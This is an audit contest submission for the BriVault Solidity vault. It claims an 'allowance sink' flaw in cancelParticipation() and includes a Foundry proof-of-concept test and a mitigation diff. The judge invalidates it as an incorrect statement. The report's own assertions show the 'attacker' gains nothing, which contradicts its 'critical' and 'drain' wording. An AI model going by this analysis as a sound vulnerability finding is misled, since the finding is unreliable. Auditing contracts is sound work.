BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

cancelParticipation Allowance Sink Vulnerability

Root + Impact

Description

  • The cancelParticipation() function burns user shares and resets staked asset tracking without validating that the user actually has staked assets to refund. This allows users to burn shares acquired through transfers without receiving corresponding asset refunds, creating an allowance sink where shares can be destroyed without proper asset reclamation.

  • Root cause: The cancelParticipation() function burns all user shares but only refunds stakedAsset[msg.sender] amount without validation.

function cancelParticipation() public {
if (block.timestamp >= eventStartDate) revert eventStarted();
@> uint256 refundAmount = stakedAsset[msg.sender]; // Could be 0 - only refunds user's own stake
stakedAsset[msg.sender] = 0;
@> uint256 shares = balanceOf(msg.sender); // Could include transferred shares
@> _burn(msg.sender, shares); // Burns ALL shares - including transferred ones!
IERC20(asset()).safeTransfer(msg.sender, refundAmount); // Could be 0
}

Risk

Likelihood: Medium

  • The vulnerability depends on users transferring shares after depositing (standard ERC20 functionality), but once this occurs, any recipient can immediately exploit it by calling cancelParticipation(). No special privileges, complex setup, or timing windows required - just standard token transfers followed by a single function call.

Impact: Medium

  • Users can destroy shares without economic cost or entitlement

  • Protocol loses asset reclamation capability from burned shares

  • Share transfers become effectively irreversible

  • Tournament participation incentives distorted

Proof of Concept

The POC demonstrates how the cancelParticipation() function allows users to burn shares acquired through transfers without receiving corresponding asset refunds, creating an allowance sink where shares can be destroyed without proper asset reclamation. It shows that when a user transfers shares to another address, the recipient can call cancelParticipation() to burn all their shares while only receiving refunds for their own staked assets, effectively destroying the transferred shares without economic compensation. The test verifies that legitimate share transfers become effectively irreversible and the protocol loses asset reclamation capability.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* PoC: cancelParticipation Allowance Sink Vulnerability
* Impact: Assets become permanently unreclaimable, protocol conservation laws violated
*
* Root Cause: cancelParticipation() burns all user shares but only refunds stakedAsset amount.
* Users can burn transferred shares without economic entitlement, creating allowance sink.
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract CancelParticipationAllowanceSinkPoC is Test {
BriVault vault;
MockERC20 asset;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100; // 1%
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
// Initialize time variables
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
// Deploy mock ERC20 asset
asset = new MockERC20("Mock Token", "MOCK");
// Deploy vault with tournament parameters
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
// Initialize tournament
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
// Setup user balances
asset.mint(victim, 1000 ether);
asset.mint(attacker, 1000 ether);
// Approve vault to spend tokens
vm.startPrank(victim);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
/**
* CRITICAL VULNERABILITY: Allowance Sink Attack
* Attacker receives shares via transfer, then burns them without asset refund
*/
function test_AllowanceSinkAttack_ShareBurningWithoutAssetRefund() public {
console.log("=== ALLOWANCE SINK ATTACK ===");
// Victim deposits and joins tournament
vm.startPrank(victim);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, victim);
vault.joinEvent(0); // Join Brazil
vm.stopPrank();
// Verify initial state
assertEq(vault.balanceOf(victim), 198 ether, "Victim has shares after deposit");
assertEq(vault.stakedAsset(victim), 198 ether, "Victim has staked assets");
assertEq(asset.balanceOf(address(vault)), 198 ether, "Vault holds assets");
// Victim transfers 100 shares to attacker (who never deposited)
vm.startPrank(victim);
vault.transfer(attacker, 100 ether); // Transfer 100 shares
vm.stopPrank();
// Verify transfer
assertEq(vault.balanceOf(victim), 98 ether, "Victim has 98 shares left");
assertEq(vault.balanceOf(attacker), 100 ether, "Attacker has 100 transferred shares");
assertEq(vault.stakedAsset(attacker), 0, "Attacker has no staked assets");
// Attacker calls cancelParticipation (tournament hasn't started)
vm.startPrank(attacker);
vault.cancelParticipation();
vm.stopPrank();
// Verify allowance sink: shares burned but no assets refunded
assertEq(vault.balanceOf(attacker), 0, "Attacker shares burned");
assertEq(vault.stakedAsset(attacker), 0, "Attacker stake still 0");
assertEq(asset.balanceOf(attacker), 1000 ether, "Attacker got no asset refund");
// Vault still holds victim's original assets
assertEq(asset.balanceOf(address(vault)), 198 ether, "Vault still holds victim's assets");
console.log("Victim deposited 200 assets, got 198 shares");
console.log("Victim transferred 100 shares to attacker");
console.log("Attacker burned 100 shares via cancelParticipation");
console.log("Attacker got 0 asset refund (allowance sink created)");
console.log("Victim's 100 assets now unreclaimable");
}
/**
* Demonstrate Economic Impact - Multiple Victims
* Show how attacker can drain multiple victims' assets
*/
function test_EconomicImpact_MultipleVictimDrain() public {
address[5] memory victims;
uint256 totalStaked = 0;
// Setup multiple victims
for (uint i = 0; i < 5; i++) {
victims[i] = makeAddr(string(abi.encodePacked("victim", i)));
asset.mint(victims[i], 1000 ether);
vm.startPrank(victims[i]);
asset.approve(address(vault), type(uint256).max);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, victims[i]);
vault.joinEvent(0); // All join Brazil
vm.stopPrank();
totalStaked += 198 ether; // After 1% fee
}
// Each victim transfers shares to attacker
for (uint i = 0; i < 5; i++) {
vm.startPrank(victims[i]);
uint256 victimShares = vault.balanceOf(victims[i]);
vault.transfer(attacker, victimShares / 2); // Transfer half their shares
vm.stopPrank();
}
// Attacker burns all transferred shares
vm.startPrank(attacker);
vault.cancelParticipation();
vm.stopPrank();
// Verify economic damage
uint256 vaultBalance = asset.balanceOf(address(vault));
uint256 attackerSharesBurned = vault.balanceOf(attacker); // Should be 0 after burning
assertEq(attackerSharesBurned, 0, "All attacker shares burned");
assertEq(asset.balanceOf(attacker), 1000 ether, "Attacker gained no assets");
assertEq(vaultBalance, totalStaked, "All victim assets still locked");
console.log("=== ECONOMIC IMPACT ASSESSMENT ===");
console.log("Victims affected:", 5);
console.log("Total assets staked:", totalStaked);
console.log("Shares transferred to attacker: burned");
console.log("Assets permanently locked:", vaultBalance);
console.log("Protocol loss: assets unreclaimable from burned shares");
}
/**
* Demonstrate Conservation Law Violation
* Show how allowance sink violates asset conservation
*/
function test_ConservationLawViolation() public {
// Establish baseline
uint256 initialVaultAssets = asset.balanceOf(address(vault));
uint256 initialVictimAssets = asset.balanceOf(victim);
uint256 initialAttackerAssets = asset.balanceOf(attacker);
// Victim deposits
vm.startPrank(victim);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, victim);
vault.joinEvent(0);
vm.stopPrank();
// Check conservation after deposit
uint256 afterDepositVault = asset.balanceOf(address(vault));
uint256 afterDepositVictim = asset.balanceOf(victim);
assertEq(afterDepositVault, initialVaultAssets + 198 ether, "Vault gained assets");
assertEq(afterDepositVictim, initialVictimAssets - 200 ether, "Victim lost deposited assets");
// Victim transfers shares to attacker
vm.startPrank(victim);
vault.transfer(attacker, 50 ether); // Transfer 50 shares
vm.stopPrank();
// Assets unchanged by transfer (ERC20 transfer)
assertEq(asset.balanceOf(address(vault)), afterDepositVault, "Transfer doesn't move assets");
assertEq(asset.balanceOf(attacker), initialAttackerAssets, "Attacker assets unchanged");
// Attacker burns shares via cancelParticipation
vm.startPrank(attacker);
vault.cancelParticipation();
vm.stopPrank();
// Verify conservation violation
uint256 finalVaultAssets = asset.balanceOf(address(vault));
uint256 finalAttackerAssets = asset.balanceOf(attacker);
assertEq(finalVaultAssets, afterDepositVault, "Vault assets unchanged");
assertEq(finalAttackerAssets, initialAttackerAssets, "Attacker got no assets");
console.log("=== CONSERVATION LAW VIOLATION ===");
console.log("Burned shares:", 50 ether);
console.log("Refunded assets:", 0);
console.log("Conservation violated: burned > refunded");
console.log("Allowance sink created");
}
}

Recommended Mitigation

Add stake validation before burning shares to ensure the cancelParticipation() function only allows users who actually deposited assets to burn their shares, preventing the allowance sink vulnerability:

- function cancelParticipation() public {
- if (block.timestamp >= eventStartDate) revert eventStarted();
-
- uint256 refundAmount = stakedAsset[msg.sender]; // Could be 0
-
- stakedAsset[msg.sender] = 0;
-
- uint256 shares = balanceOf(msg.sender); // Could include transferred shares
-
- _burn(msg.sender, shares); // Burns ALL shares
-
- IERC20(asset()).safeTransfer(msg.sender, refundAmount); // Could be 0
- }
+ function cancelParticipation() public {
+ if (block.timestamp >= eventStartDate) revert eventStarted();
+ if (stakedAsset[msg.sender] == 0) revert noStakeToCancel(); // Add validation
+
+ uint256 refundAmount = stakedAsset[msg.sender];
+
+ stakedAsset[msg.sender] = 0;
+
+ uint256 shares = balanceOf(msg.sender);
+ _burn(msg.sender, shares);
+
+ IERC20(asset()).safeTransfer(msg.sender, refundAmount);
+ }
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!